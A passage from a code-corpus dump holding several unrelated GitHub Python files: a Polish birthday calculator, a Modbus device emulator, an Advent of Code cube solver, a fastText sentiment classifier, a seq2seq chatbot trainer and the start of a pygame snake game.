now.year - born.year\n dni = 0\n else:\n lat = now.year - born.year - 1\n dni = yd_syl_old - yd_uro_old + yd_now\n if lat < 0:\n lat = 0\n\n str_lat = \"lat i\"\n if lat == 1:\n str_lat = \"rok i\"\n elif (lat % 10 > 1) and (lat % 10 < 5) and (lat > 20 or lat < 10):\n str_lat = \"lata i\"\n\n if dni == 0:\n return f\"Dzisiaj {lat} {y}\\n\"\n elif dni == 1:\n return f\"{w} {lat} {str_lat} {dni} dzień\\n\"\n else:\n return f\"{w} {lat} {str_lat} {dni} dni\\n\"\n\n def calculate_time(self):\n now = datetime.date.today()\n yd_now = now.timetuple().tm_yday\n\n uro = datetime.date(now.year, self.m, self.d)\n yd_uro = uro.timetuple().tm_yday\n\n uro_new = datetime.date(now.year + 1, self.m, self.d)\n yd_uro_new = uro_new.timetuple().tm_yday\n\n syl = datetime.date(now.year, 12, 31)\n yd_syl = syl.timetuple().tm_yday\n\n if yd_uro > yd_now:\n dni = yd_uro - yd_now\n week_day = uro.weekday()\n elif yd_uro == yd_now:\n dni = 0\n week_day = uro_new.weekday()\n else:\n dni = yd_syl - yd_now + yd_uro_new\n week_day = uro_new.weekday()\n\n rz = \"Następne urodziny dokładnie za rok (\"\n y = \"Urodziny za 1 dzień (\"\n z = \"Urodziny za \"\n if self.typ == \"r\":\n rz = \"Następna rocznica za dokładnie za rok (\"\n y = \"Rocznica za 1 dzień (\"\n z = \"Rocznica za \"\n\n if dni == 0:\n return f\"{rz} ({self.polish_day(week_day)})\"\n elif dni == 1:\n return f\"{y} ({self.polish_day(week_day)})\"\n else:\n return f\"{z}{dni} dni ({self.polish_day(week_day)})\"\n\n def __str__(self):\n return f\"{self.introduce()}{self.born_day()}{self.calculate_age()}{self.calculate_time()}\\n\"\n\n def short_str(self):\n if self.sort_time() == 0:\n return f\"Dzisiaj {self.name} {self.surname}\"\n elif self.sort_time() == 1:\n return f\"Jutro {self.name} {self.surname}\"\n elif self.sort_time() == 2:\n return f\"Pojutrze {self.name} {self.surname}\"\n else:\n return f\"Za {self.sort_time()} dni {self.name} {self.surname}\"\n","repo_name":"zszurman/Dokument","sub_path":"bday.py","file_name":"bday.py","file_ext":"py","file_size_in_byte":5917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6432901611","text":"try:\n import msvcrt\n PLATFORM = \"win\"\nexcept ImportError:\n PLATFORM = \"unix\"\n import tty\n import termios\n from select import select\nimport sys\ntry:\n from serial.tools.list_ports import comports\nexcept ImportError:\n comports = None\nfrom os import walk\nimport optparse\nimport json\nimport socket\nimport time\nimport logging\nimport _thread as thread\n\nTCPIP_BUFFER_SIZE = 1024\nSERIAL_MAX_RECEIVE_BYTE = 255\nDEFAULT_PORT = \"COM2\"\nDEFAULT_BAUDRATE = 115200\nDEFAULT_RTS = None\nDEFAULT_DTR = None\nDESCRIPTION_NAME = \"modbus_device_description.json\"\nUDP_ADV_PORT = 65500\nUDP_ADV_MESSAGE = b\"{\\\"pcbs\\\": \\\"IIRLS-PCBS-1.0.0\\\",\"\\\n b\"\\\"name\\\": \\\"HVEL\\\",\"\\\n b\"\\\"serial\\\": \\\"HVEL10000\\\",\"\\\n b\"\\\"model\\\": \\\"HVEL1-0123456789ABCD\\\",\"\\\n b\"\\\"firmware\\\": \\\"1.0.0-alpha.1\\\",\"\\\n b\"\\\"firmwareMetaData\\\": \\\"0-g123456789ABCDEF\\\",\"\\\n b\"\\\"gid\\\": \\\"G00000R00\\\",\"\\\n b\"\\\"mech\\\": \\\"HVEL1-MECH-1.0.0\\\",\"\\\n b\"\\\"icbls\\\": \\\"HVEL1-ICBLS-1.0.0\\\",\"\\\n b\"\\\"ecbls\\\": \\\"HVEL1-ECBLS-1.0.0\\\",\"\\\n b\"\\\"communications\\\": [\"\\\n b\"{\"\\\n b\"\\\"type\\\": \\\"Modbus/TCP\\\",\"\\\n b\"\\\"port\\\": 502,\"\\\n b\"\\\"unitID\\\": 3\"\\\n b\"},\"\\\n b\"{\"\\\n b\"\\\"type\\\": \\\"XML/TCP\\\",\"\\\n b\"\\\"port\\\": 65550\"\\\n b\"}\"\\\n b\"]\"\\\nb\"}\"\nILLEGAL_FUNCTION = 0x01\nILLEGAL_DATA_ADDRESS = 0x02\nILLEGAL_DATA_VALUE = 0x03\nSLAVE_DEVICE_FAILURE = 0x04\nACKNOWLEDGE = 0x05\nSLAVE_DEVICE_BUSY = 0x06\nNEGATIVE_ACKNOWLEDGE = 0x07\nMEMORY_PARITY_ERROR = 0x08\nGATEWAY_PATH_UNAVAILABLE = 0x0A\nGATEWAY_TARGET_DEVICE_FAILED_TO_RESPOND = 0x0B\n\n\ndef serial_listening_thread(device):\n serial_receive_byte_num = 0\n packet_num = 0\n print(\"start_serial_listening_threading\")\n serial_receive_timer = time.time()\n while 1:\n if (time.time() > (serial_receive_timer+0.02)) & (serial_receive_byte_num!=0):\n if device.receive_rtu_packet(device.serial_receive_buff, serial_receive_byte_num):\n device.send_packet(device.serial_port_list, device.answer_packet, device.answer_packet_size)\n else:\n print('error_packet',device.serial_receive_buff[0:serial_receive_byte_num])\n serial_receive_byte_num = 0\n packet_num += 1\n device.serial_port_list.timeout = 0.03\n receive_char = device.serial_port_list.read(1)\n if receive_char:\n serial_receive_timer = time.time()\n if serial_receive_byte_num >= SERIAL_MAX_RECEIVE_BYTE:\n print('error max_packet_size',device.serial_receive_buff)\n serial_receive_byte_num =0\n device.serial_receive_buff[serial_receive_byte_num] = ord(receive_char)\n serial_receive_byte_num += 1\n\n\ndef tcp_ip_listening(device):\n packet_num = 0\n conn, addr = device.modbus_socket.accept()\n print(\"start_tcp_ip_listeninging\")\n while 1:\n try:\n data = conn.recv(TCPIP_BUFFER_SIZE)\n if data:\n packet_num += 1\n if device.receive_tcp_packet(data, len(data)):\n receive_buff_temp = [device.answer_packet[i] for i in range(device.answer_packet_size)]\n logging.info('send: {}'.format(receive_buff_temp))\n print(receive_buff_temp)\n conn.send(bytearray(receive_buff_temp))\n if not data:\n print(\"close tcp connection\")\n conn.close()\n conn, addr = device.modbus_socket.accept()\n except socket.error:\n print(\"close tcp connection by error\")\n conn.close()\n conn, addr = device.modbus_socket.accept()\n\n\ndef udp_listening(sock):\n print(\"start listening\")\n packet_number = 0\n while 1:\n data, address = sock.recvfrom(1024)\n packet_number += 1\n if data != b\"master confirmation\":\n sock.sendto(UDP_ADV_MESSAGE, address)\n\n\nclass TCPConnection(object):\n tcp_ip_is_open = 0\n\n def __init__(self, port):\n self.tcp_ip_is_open = 0\n self.receive_timer = 0\n self.receive_byte_num = 0\n self.self_ip = self.get_network_ip()\n self.modbus_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.modbus_socket.bind((self.self_ip, port))\n self.modbus_socket.listen(1)\n print(self.modbus_socket)\n self.tcp_ip_is_open = 1\n self.tcp_ip_start_list()\n\n def __del__(self):\n if self.tcp_ip_is_open:\n self.modbus_socket.close()\n\n @staticmethod\n def get_network_ip():\n print(\"Getting private IP\")\n names = socket.gethostname()\n print(\"names \" + names)\n ip = socket.gethostbyname(socket.gethostname())\n print(\"IP: \" + ip)\n return ip\n\n def tcp_ip_start_list(self):\n thread.start_new_thread(tcp_ip_listening, (self,))\n\n\nclass SerialConnection(object):\n serial_is_open = 0\n\n def __init__(self, port, baudrate, parity, rtscts, xonxoff):\n self.serial_is_open = 0\n self.serial_receive_timer = 0\n self.serial_receive_byte_num = 0\n self.serial_receive_buff = [0 for x in range(SERIAL_MAX_RECEIVE_BYTE)]\n try:\n import serial\n except ImportError:\n self.serial_is_open = 0\n print(\"could not import\\n\")\n return self.serial_is_open\n try:\n try:\n self.serial_port = serial.serial_for_url(port, baudrate, parity=parity,\n rtscts=rtscts, xonxoff=xonxoff, timeout=1)\n except AttributeError:\n # happens when the installed pyserial is older than 2.5. use the\n # Serial class directly then.\n self.serial_port = serial.Serial(port, baudrate, parity=parity,\n rtscts=rtscts, xonxoff=xonxoff, timeout=1)\n print(self.serial_port.name) # check which port was really used\n self.serial_is_open = 1\n sys.stderr.write('--- modbus device on %s: %d,%s,%s,%s ---\\n' % (\n self.serial_port.portstr,\n self.serial_port.baudrate,\n self.serial_port.bytesize,\n self.serial_port.parity,\n self.serial_port.stopbits,\n ))\n except serial.SerialException as e:\n self.serial_is_open = 0\n print(\"could not open port \\n\")\n if self.serial_is_open:\n self.com_start_list()\n return self.serial_port\n else:\n return self.serial_is_open\n\n def __del__(self):\n if self.serial_is_open:\n self.serial_port.close()\n\n def com_start_list(self):\n thread.start_new_thread(serial_listening_thread, (self,))\n\n def send_packet(self, buff, size):\n packet = buff[0:size]\n print('-<---<.>--->-',buff[0:size])\n self.serial_port.write(packet)\n print(time.asctime())\n\n\nclass ModbusDevice(SerialConnection, TCPConnection):\n\n def __init__(self, device_description, serial_port=DEFAULT_PORT, serial_baudrate=DEFAULT_BAUDRATE,\n serial_parity='N', serial_rtscts=False, serial_xonxoff=False):\n if device_description[\"modbus_tcp\"]:\n TCPConnection.__init__(self, device_description[\"tcp_port\"])\n if device_description[\"modbus_rtu\"]:\n SerialConnection.__init__(self, serial_port, serial_baudrate, serial_parity, serial_rtscts, serial_xonxoff)\n logging.basicConfig(filename='packet.log', level=logging.DEBUG)\n print(\"add modbus device with address\", device_description[\"address\"])\n self.modbus_address = device_description[\"address\"]\n self.packet_receive_num = 0\n self.answer_packet = [0 for x in range(0, 1024)]\n self.answer_packet_size = 0\n self.size_answer_packet = 0\n self.spaces = []\n for i in range(device_description[\"spaces_num\"]):\n space = {}\n buffer = [i for i in range(device_description[\"spaces\"][i][\"registers_num\"])]\n space[\"buffer\"] = buffer\n space.update(device_description[\"spaces\"][i])\n for j in range(len(device_description[\"spaces\"][i][\"init_buffer\"])):\n space[\"buffer\"][j] = device_description[\"spaces\"][i][\"init_buffer\"][j]\n print(\"space inited {}\".format(space[\"buffer\"]))\n self.spaces.append(space)\n\n def __del__(self):\n print(\"dlt handler\")\n\n def receive_rtu_packet(self, buff, num_byte, crc_check=1):\n if num_byte > 4:\n print(num_byte)\n if crc_check == 0 or \\\n self.calc_crc(buff, num_byte) == (buff[num_byte - 2] + (buff[num_byte - 1] << 8)):\n if buff[0] == self.modbus_address:\n self.packet_receive_num += 1\n print(time.asctime(),'good packet number',self.packet_receive_num)\n size = 0\n if buff[1] == 3:\n logging.info('recv - modbus funct 3: {}'.format([int(buff[i]) for i in range(len(buff))]))\n size = self.modbus_func_3(buff, num_byte)\n return size\n if buff[1] == 4:\n logging.info('recv - modbus funct 4: {}'.format([int(buff[i]) for i in range(len(buff))]))\n size = self.modbus_func_4(buff, num_byte)\n return size\n elif buff[1] == 6:\n logging.info('recv - modbus funct 6: {}'.format([int(buff[i]) for i in range(len(buff))]))\n size = self.modbus_func_6(buff, num_byte)\n return size\n elif buff[1] == 16:\n logging.info('recv - modbus funct 16: {}'.format([int(buff[i]) for i in range(len(buff))]))\n size = self.modbus_func_16(buff, num_byte)\n return size\n\n else:\n return 0\n else:\n return 0\n else:\n return 0\n\n def reg_address_in_space(self, reg_address, regs_num):\n j = 0\n for i in self.spaces:\n if (reg_address >= i[\"start_address\"]) and ((reg_address + regs_num) <= (i[\"start_address\"]+i[\"registers_num\"])):\n return j, reg_address - i[\"start_address\"]\n j += 1\n return -1, -1\n\n def receive_tcp_packet(self, buff, num_byte):\n if num_byte > 10:\n print(buff[0:num_byte])\n size = self.receive_rtu_packet(buff[6:], num_byte,crc_check=0)\n if size:\n for i in range(0, 6):\n self.answer_packet.insert(i,buff[i])\n self.answer_packet_size -=2 #without crc\n self.answer_packet_size +=6 #add header\n return size\n else:\n return 0\n else:\n return 0\n\n @staticmethod\n def calc_crc(pck, packet_length):\n \"\"\"CRC16 for modbus\"\"\"\n crc = 0xFFFF\n i = 0\n length = packet_length - 2\n while i < length:\n crc ^= pck[i]\n i += 1\n j = 0\n while j < 8:\n j += 1\n if (crc & 0x0001) == 1:\n crc = ((crc >> 1) & 0xFFFF) ^ 0xA001\n else:\n crc >>= 1\n return crc\n\n def modbus_func_3(self, packet, length):\n '''read holding registers'''\n self.answer_packet_size = 0\n start_address = (packet[2] << 8) + (packet[3])\n num_regs = (packet[4] << 8) + (packet[5])\n space_num, position = self.reg_address_in_space(start_address, num_regs)\n print(self.spaces[space_num][\"buffer\"])\n if (num_regs < 1) or (num_regs > 125) or (space_num<0):\n logging.error(\"f16 illegal space for address - {} size - {}\".format(start_address, num_regs))\n self.size_answer_packet = 5\n self.answer_packet[0] = packet[0]\n self.answer_packet[1] = packet[1]|0x80\n self.answer_packet[2] = 0x03\n crc = self.calc_crc(self.answer_packet, 5)\n self.answer_packet[3] = crc << 8 & 0xff\n self.answer_packet[4] = crc & 0xff\n self.answer_packet_size = 5\n else:\n self.answer_packet[0] = packet[0]\n self.answer_packet[1] = packet[1]\n self.answer_packet[2] = num_regs*2\n for i in range(num_regs):\n self.answer_packet[i*2 + 3] = (self.spaces[space_num][\"buffer\"][i + position] >> 8) & 0xff\n self.answer_packet[i*2 + 4] = (self.spaces[space_num][\"buffer\"][i + position]) & 0xff\n print(self.answer_packet[4:num_regs*2])\n print(self.spaces[space_num][\"buffer\"])\n crc = self.calc_crc(self.answer_packet, num_regs*2+5)\n self.answer_packet[num_regs*2+3] = crc & 0xff\n self.answer_packet[num_regs*2+4] = (crc >> 8) & 0xff\n self.answer_packet_size = num_regs*2+5\n return self.answer_packet_size\n\n def modbus_func_4(self, packet, length):\n '''read input registers'''\n self.answer_packet_size = 0\n start_address = (packet[2] << 8) + (packet[3])\n num_regs = (packet[4] << 8) + (packet[5])\n space_num, position = self.reg_address_in_space(start_address, num_regs)\n if (num_regs < 1) or (num_regs > 125) or (space_num<0):\n logging.error(\"f16 illegal space for address - {} size - {}\".format(start_address, num_regs))\n self.size_answer_packet = 5\n self.answer_packet[0] = packet[0]\n self.answer_packet[1] = packet[1]|0x80\n self.answer_packet[2] = 0x03\n crc = self.calc_crc(self.answer_packet, 5)\n self.answer_packet[3] = crc << 8 & 0xff\n self.answer_packet[4] = crc & 0xff\n self.answer_packet_size = 5\n else:\n self.answer_packet[0] = packet[0]\n self.answer_packet[1] = packet[1]\n self.answer_packet[2] = num_regs*2\n for i in range(num_regs):\n self.answer_packet[i*2 + 3] = (self.spaces[space_num][\"buffer\"][i + position] >> 8) & 0xff\n self.answer_packet[i*2 + 4] = (self.spaces[space_num][\"buffer\"][i + position]) & 0xff\n crc = self.calc_crc(self.answer_packet, num_regs*2+5)\n self.answer_packet[num_regs*2+3] = crc & 0xff\n self.answer_packet[num_regs*2+4] = (crc >> 8) & 0xff\n self.answer_packet_size = num_regs*2+5\n return self.answer_packet_size\n\n def modbus_func_6(self, packet, length):\n ''' write one word '''\n self.answer_packet_size = 0\n start_address = (packet[2] << 8) + (packet[3])\n space_num, position = self.reg_address_in_space(start_address, 1)\n if space_num < 0:\n logging.error(\"f6 illegal space for address - {}\".format(start_address))\n self.size_answer_packet = 5\n self.answer_packet[0] = packet[0]\n self.answer_packet[1] = packet[1]|0x80\n self.answer_packet[2] = ILLEGAL_DATA_ADDRESS\n crc = self.calc_crc(self.answer_packet, 5)\n self.answer_packet[3] = crc << 8 & 0xff\n self.answer_packet[4] = crc & 0xff\n self.answer_packet_size = 5\n else:\n self.answer_packet[0] = packet[0]\n self.answer_packet[1] = packet[1]\n self.answer_packet[2] = packet[2]\n self.answer_packet[3] = packet[3]\n self.answer_packet[4] = packet[4]\n self.answer_packet[5] = packet[5]\n self.spaces[space_num][\"buffer\"][position] = ((packet[4] << 8) + packet[5]) & 0xffff\n crc = self.calc_crc(self.answer_packet, 8)\n self.answer_packet[6] = crc & 0xff\n self.answer_packet[7] = (crc >> 8) & 0xff\n self.answer_packet_size = 8\n return self.answer_packet_size\n\n def modbus_func_16(self, packet, length):\n ''' write words '''\n self.answer_packet_size = 0\n start_address = (packet[2] << 8) + (packet[3])\n num_regs = (packet[4] << 8) + (packet[5])\n space_num, position = self.reg_address_in_space(start_address, num_regs)\n if (num_regs < 1) or (num_regs > 125) or (space_num < 0):\n logging.error(\"f16 illegal space for address - {} size - {}\".format(start_address, num_regs))\n self.size_answer_packet = 5\n self.answer_packet[0] = packet[0]\n self.answer_packet[1] = packet[1]|0x80\n self.answer_packet[2] = ILLEGAL_DATA_ADDRESS\n crc = self.calc_crc(self.answer_packet, 5)\n self.answer_packet[3] = crc << 8 & 0xff\n self.answer_packet[4] = crc & 0xff\n self.answer_packet_size = 5\n else:\n self.answer_packet[0] = packet[0]\n self.answer_packet[1] = packet[1]\n self.answer_packet[2] = packet[2]\n self.answer_packet[3] = packet[3]\n self.answer_packet[4] = packet[4]\n self.answer_packet[5] = packet[5]\n for i in range(num_regs):\n self.spaces[space_num][\"buffer\"][i + position] = 0\n self.spaces[space_num][\"buffer\"][i + position] = self.answer_packet[i*2 + 4]\n self.spaces[space_num][\"buffer\"][i + position] += (self.answer_packet[i * 2 + 3] >> 8)\n crc = self.calc_crc(self.answer_packet, 8)\n self.answer_packet[6] = crc & 0xff\n self.answer_packet[7] = (crc >> 8) & 0xff\n self.answer_packet_size = 8\n return self.answer_packet_size\n\n\ndef get_ch():\n if PLATFORM == \"win\":\n ch = msvcrt.getch()\n return ch\n elif PLATFORM == \"unix\":\n fd = sys.stdin.fileno()\n old_setting = termios.tcgetattr(fd)\n try:\n tty.setraw(sys.stdin.fileno())\n i, o, e = select([sys.stdin.fileno()], [], [], 5)\n if i:\n ch = sys.stdin.read(1)\n else:\n ch = \"\"\n finally:\n termios.tcsetattr(fd, termios.TCSADRAIN, old_setting)\n return ch\n else:\n return \"\"\n\n\ndef main(device_description):\n parser = optparse.OptionParser(\n usage=\"%prog [options] [port [baudrate]]\",\n description=\"modbus_device- A simple program for the Modbus device emulator.\"\n )\n group = optparse.OptionGroup(parser, \"Port settings\")\n group.add_option(\"-p\", \"--port\",\n dest=\"port\",\n help=\"port, a number or a device name. (deprecated option, use parameter instead)\",\n default=DEFAULT_PORT\n )\n group.add_option(\"-b\", \"--baud\",\n dest=\"baudrate\",\n action=\"store\",\n type='int',\n help=\"set baud rate, default %default\",\n default=DEFAULT_BAUDRATE\n )\n group.add_option(\"--parity\",\n dest=\"parity\",\n action=\"store\",\n help=\"set parity, one of [N, E, O, S, M], default=N\",\n default='N'\n )\n group.add_option(\"--rtscts\",\n dest=\"rtscts\",\n action=\"store_true\",\n help=\"enable RTS/CTS flow control (default off)\",\n default=False\n )\n group.add_option(\"--xonxoff\",\n dest=\"xonxoff\",\n action=\"store_true\",\n help=\"enable software flow control (default off)\",\n default=False\n )\n group.add_option(\"--rts\",\n dest=\"rts_state\",\n action=\"store\",\n type='int',\n help=\"set initial RTS line state (possible values: 0, 1)\",\n default=DEFAULT_RTS\n )\n group.add_option(\"--dtr\",\n dest=\"dtr_state\",\n action=\"store\",\n type='int',\n help=\"set initial DTR line state (possible values: 0, 1)\",\n default=DEFAULT_DTR\n )\n parser.add_option_group(group)\n (options, args) = parser.parse_args()\n options.parity = options.parity.upper()\n if options.parity not in 'NEOSM':\n parser.error(\"invalid parity\")\n print(options)\n print(PLATFORM)\n mdb_device = ModbusDevice(device_description, options.port, options.baudrate,\n options.parity, options.rtscts, options.xonxoff)\n print(mdb_device.spaces)\n if device_description[\"udp_adv\"]:\n print(\"start udp advertisment\")\n udp_port_self = 65500\n buffer_size = 1512\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n # Enable broadcasting mode\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)\n sock.bind((\"\", udp_port_self))\n thread.start_new_thread(udp_listening, (sock,))\n while 1:\n q = get_ch()\n if q:\n print(ord(q))\n if ord(q) == 113: #q\n sys.exit(1)\n\n\nif __name__ == '__main__':\n '''request modbus packet on com port or tcp connect\n options:\n -p port\n -b baud rate\n '''\n for (dirpath, dirnames, filenames) in walk(\"..\"):\n for i in range(len(filenames)):\n if(DESCRIPTION_NAME == filenames[i]):\n file_description = open(filenames[i], \"r\")\n device_description = json.loads(file_description.read())\n print(device_description)\n device_description[\"spaces_num\"] = len(device_description[\"spaces\"])\n print(\"spaces num - {}\".format(device_description[\"spaces_num\"]))\n main(device_description)\n print(\"did't find file description - {}\".format(DESCRIPTION_NAME))\n","repo_name":"shomagan/modbus_device","sub_path":"modbus_device.py","file_name":"modbus_device.py","file_ext":"py","file_size_in_byte":21929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1289140034","text":"import sys\nfrom fileinput import FileInput\nfrom itertools import combinations\nfrom typing import NamedTuple\n\n# This is a stupid solution, it takes 10 minutes to run\n\n\ndef parse_range(r: str) -> frozenset[int]:\n left, _, right = r.partition(\"..\")\n return frozenset(range(int(left), int(right)+1))\n\n\ndef ensure_continuity(r: frozenset[int]) -> tuple[frozenset[int], frozenset[int]]:\n if not r:\n return frozenset(), frozenset()\n\n before: set[int] = set()\n after: set[int] = set()\n\n r_sorted = sorted(r)\n to_after = False\n\n before.add(r_sorted[0])\n\n for left, right in zip(r_sorted[:-1], r_sorted[1:]):\n to_after = to_after or right - left > 1\n\n if to_after:\n after.add(right)\n\n else:\n before.add(right)\n\n return frozenset(before), frozenset(after)\n\n\nclass Cube(NamedTuple):\n xs: frozenset[int]\n ys: frozenset[int]\n zs: frozenset[int]\n\n @classmethod\n def from_str(cls, cube_str: str) -> \"Cube\":\n x_str, y_str, z_str = cube_str.split(\",\")\n xs = parse_range(x_str[2:])\n ys = parse_range(y_str[2:])\n zs = parse_range(z_str[2:])\n return cls(xs, ys, zs)\n\n def __len__(self) -> int:\n return len(self.xs) * len(self.ys) * len(self.zs)\n\n def intersects(self, other: \"Cube\") -> bool:\n return bool((self.xs & other.xs) and (self.ys & other.ys) and (self.zs & other.zs))\n\n def chomp(self, other: \"Cube\") -> set[\"Cube\"]:\n overlap_xs = self.xs & other.xs\n overlap_ys = self.ys & other.ys\n overlap_zs = self.zs & other.zs\n\n if len(overlap_xs) == 0 or len(overlap_ys) == 0 or len(overlap_zs) == 0:\n return {self}\n\n nonoverlap_xs, leftover_xs = ensure_continuity(self.xs - other.xs)\n nonoverlap_ys, leftover_ys = ensure_continuity(self.ys - other.ys)\n nonoverlap_zs, leftover_zs = ensure_continuity(self.zs - other.zs)\n\n if leftover_xs:\n return Cube(nonoverlap_xs | overlap_xs, self.ys, self.zs).chomp(other) \\\n | {Cube(leftover_xs, self.ys, self.zs)}\n\n if leftover_ys:\n return Cube(self.xs, nonoverlap_ys | overlap_ys, self.zs).chomp(other) \\\n | {Cube(self.xs, leftover_ys, self.zs)}\n\n if leftover_zs:\n return Cube(self.xs, self.ys, nonoverlap_zs | overlap_zs).chomp(other) \\\n | {Cube(self.xs, self.ys, leftover_zs)}\n\n c1 = Cube(self.xs, self.ys, nonoverlap_zs)\n c2 = Cube(nonoverlap_xs, self.ys, overlap_zs)\n c3 = Cube(overlap_xs, nonoverlap_ys, overlap_zs)\n return {c for c in (c1, c2, c3) if len(c) > 0}\n\n\ndef reactor_on(r: set[Cube], new: Cube) -> set[Cube]:\n new_set = {new}\n\n for c1 in r:\n tmp: set[Cube] = set()\n for c2 in new_set:\n x = c2.chomp(c1)\n # assert_no_overlaps(x)\n tmp.update(x)\n # assert_no_overlaps(tmp)\n new_set = tmp\n\n return r | new_set\n\n\ndef reactor_off(r: set[Cube], rem: Cube) -> set[Cube]:\n new: set[Cube] = set()\n for c in r:\n new.update(c.chomp(rem))\n return new\n\n\ndef process_line(r: set[Cube], line: str) -> set[Cube]:\n status, _, cube_str = line.partition(\" \")\n cube = Cube.from_str(cube_str)\n\n if status == \"on\":\n return reactor_on(r, cube)\n elif status == \"off\":\n return reactor_off(r, cube)\n else:\n raise ValueError(f\"unknown status: {status!r} ({line!r})\")\n\n\ndef assert_no_overlaps(r: set[Cube]) -> None:\n for a, b in combinations(r, 2):\n assert not a.intersects(b)\n\n\nif __name__ == \"__main__\":\n input: \"FileInput[str]\" = FileInput()\n lines = filter(None, (i.strip() for i in input))\n reactor: set[Cube] = set()\n\n for idx, line in enumerate(lines):\n print(idx, repr(line), file=sys.stderr)\n reactor = process_line(reactor, line.strip())\n # assert_no_overlaps(reactor)\n\n print(sum(len(c) for c in reactor))\n","repo_name":"MKuranowski/AdventOfCode2021","sub_path":"src/day22b.py","file_name":"day22b.py","file_ext":"py","file_size_in_byte":3931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71948626322","text":"import pandas as pd\nimport numpy as np\nimport io\nfrom nltk.tokenize import word_tokenize\nfrom sklearn import model_selection, linear_model, metrics\n\ndef load_vectors(fname):\n fin = io.open(fname, 'r', encoding=\"utf-8\", newline=\"\\n\", errors=\"ignore\")\n n,d = map((int), fin.readline().split())\n data = {}\n for line in fin:\n tokens = line.rstrip().split(' ')\n data[tokens[0]] = list(map(float, tokens[1:]))\n return data\n\ndef sentence_to_vec(s, embedding_dict, stop_words, tokenizer):\n words = str(s).lower()\n words = tokenizer(s)\n words = [w for w in words if not w in stop_words]\n words = [w for w in words if w.isalpha()]\n\n M=[]\n for w in words:\n if w in embedding_dict:\n M.append(embedding_dict[w])\n if len(M)==0:\n return np.zeros(300)\n M = np.array(M)\n v = M.sum(axis=0)\n return v/np.sqrt((v**2).sum())\n\nif __name__==\"__main__\":\n df = pd.read_csv(\"input/imdb.csv\")\n df.sentiment = df.sentiment.apply(lambda x:1 if x==\"positive\" else 0)\n df = df.sample(frac=1).reset_index(drop=True)\n # load embeddings into memory\n print(\"Loading embeddings\")\n embeddings = load_vectors(\"input/crawl-300d-2M.vec\")\n vectors=[]\n for review in df.review:\n vectors.append(sentence_to_vec(review, embeddings,stop_words=[], tokenizer=word_tokenize))\n vectors = np.array(vectors)\n y = df.sentiment.values\n sk = model_selection.StratifiedKFold(n_splits=5)\n\n for f, (t,v) in sk.split(X=vectors, y=y):\n X_train = vectors[t,:]\n X_test = vectors[v,:]\n y_train = y[t]\n y_test = y[v]\n model = linear_model.LogisticRegression()\n model.fit(X_train,y_train)\n preds = model.predict(X_test)\n accuracy = metrics.accuracy_score(y_test,preds)\n print(f\"Accuracy={accuracy}\")\n print()","repo_name":"gangulyarin/IMDB_Complete","sub_path":"src/fastext.py","file_name":"fastext.py","file_ext":"py","file_size_in_byte":1841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8753855060","text":"# -*- coding: utf-8 -*-\n\nimport tensorflow as tf\nimport random\nimport math\nimport os\n\nfrom config import FLAGS\nfrom model import Seq2Seq\nfrom dialog import Dialog\n\n\ndef train(dialog, batch_size=100, epoch=100):\n model = Seq2Seq(dialog.vocab_size)\n\n with tf.Session() as sess:\n\n # 학습된 모델이 저장된 경로 체크\n ckpt = tf.train.get_checkpoint_state(FLAGS.train_dir)\n\n if ckpt and tf.train.checkpoint_exists(ckpt.model_checkpoint_path):\n print(\"다음 파일에서 모델을 읽는 중 입니다..\", ckpt.model_checkpoint_path)\n model.saver.restore(sess, ckpt.model_checkpoint_path)\n else:\n print(\"새로운 모델을 생성하는 중 입니다.\")\n sess.run(tf.global_variables_initializer())\n\n # 로그를 저장\n writer = tf.summary.FileWriter(FLAGS.log_dir, sess.graph)\n\n # 전체 batch size 결정\n total_batch = int(math.ceil(len(dialog.examples) / float(batch_size)))\n\n # total step\n print(total_batch * epoch)\n\n # 신경망 모델 학습\n for step in range(total_batch * epoch):\n enc_input, dec_input, targets = dialog.next_batch(batch_size)\n\n # model 학습\n _, loss = model.train(sess, enc_input, dec_input, targets)\n\n # log 출력\n if (step + 1) % 100 == 0:\n model.write_logs(sess, writer, enc_input, dec_input, targets)\n print('Step:', '%06d' % model.global_step.eval(), \\\n 'cost =', '{:.6f}'.format(loss))\n\n checkpoint_path = os.path.join(FLAGS.train_dir, FLAGS.ckpt_name)\n model.saver.save(sess, checkpoint_path, global_step=model.global_step)\n\n print('최적화 완료!')\n\n\ndef main(_):\n dialog = Dialog()\n\n dialog.load_vocab(FLAGS.voc_path) # 어절 사전 파일 위치\n dialog.load_dialogue(FLAGS.data_path) # 대화 스크립트 파일 위치\n train(dialog, batch_size=FLAGS.batch_size, epoch=FLAGS.epoch) # 학습 시작\n\n\nif __name__ == \"__main__\":\n tf.app.run()\n","repo_name":"modulabs/DeepNLP","sub_path":"4_Source/seq2seq_chatbot_by_ohyeontak/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2070,"program_lang":"python","lang":"ko","doc_type":"code","stars":29,"dataset":"github-code","pt":"3"} +{"seq_id":"4507959221","text":"import pygame\nimport time\nimport random\n\npygame.init()\n\n# Set up the display\nSCREEN_WIDTH = 800\nSCREEN_HEIGHT = 600\ngame_display = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))\npygame.display.set_caption('Snake Game')\n\n# Set up the colors\nwhite = (255, 255, 255)\nblack = (0, 0, 0)\nred = (213, 50, 80)\ngreen = (0, 255, 0)\n\n# Set up the clock\nclock = pygame.time.Clock()\n\n# Set up the font\nfont_style = pygame.font.SysFont(None, 30)\n\ndef message(msg, color):\n \"\"\"\n Displays a message in the center of the screen.\n \"\"\"\n text = font_style.render(msg, True, color)\n game_display.blit(text, [SCREEN_WIDTH / 6, SCREEN_HEIGHT / 3])\n\ndef gameLoop():\n # Set up the initial position of the snake\n lead_x = SCREEN_WIDTH / 2\n lead_y = SCREEN_HEIGHT / 2\n block_size = 10\n\n lead_x_change = 0\n lead_y_change = 0\n\n # Set up the initial position of the food\n food_x = round(random.randrange(0, SCREEN_WIDTH - block_size) / 10.0) * 10.0\n food_y = round(random.randrange(0, 